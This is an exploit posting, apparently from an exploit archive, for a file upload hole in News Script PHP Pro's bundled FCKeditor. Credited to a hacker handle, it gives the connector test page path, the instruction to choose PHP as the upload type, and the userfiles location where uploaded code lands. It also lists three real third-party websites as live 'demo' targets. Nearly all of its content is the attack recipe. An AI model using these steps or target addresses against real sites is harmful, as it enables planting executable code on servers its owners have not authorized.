News Script PHP Pro (fckeditor) File Upload Vulnerability

2010.12.28

Credit: Net.Edit0r

Risk: High

Local: Yes

Remote: No

CVE: N/A

CWE: N/A

==============================================================================

        [] News Script PHP Pro (fckeditor) File Upload Vulnerability

==============================================================================

    [] Title   :           [ News Script PHP Pro (fckeditor) File Upload Vulnerability ]

    [] Script  :           [ News Script PHP Pro  ]

    [] Platform:           [ linux/php ]

    [] Download:           [ http://newsscriptphp.com/ ]

    [] Author  :           [ Net.Edit0r }

    [] Email   :           [ black.hat.tm@gmail.com ]

    [] Date    :           [ 2010-12-26 ]

    [] Version :           [ Full Version ]

###########################################################################

===[ Exploit ]===    ./Iranian HackerZ

  [&#187;] http://server/[patch]/fckeditor/editor/filemanager/connectors/uploadtest.html

  [&#187;] Select the "File Upload" To use = php

===[ Upload To ]===

  [&#187;] http://server/[patch]/userfiles/Name File

===[ Demo ]===

  [&#187;] http://www.footydraft.com/news/fckeditor/editor/filemanager/connectors/uploadtest.html

  [&#187;] http://www.htarcade.com/news_script/fckeditor/editor/filemanager/connectors/uploadtest.html

  [&#187;] http://funeralscriptphp.com/funeralscript/fckeditor/editor/filemanager/connectors/uploadtest.html

Greetz : HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d , M4hd1 , Ali.Erroor 

     BHG : Net.Edit0r ~ Darkcoder ~ keracker

###########################################################################

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

News Script PHP Pro (fckeditor) File Upload Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.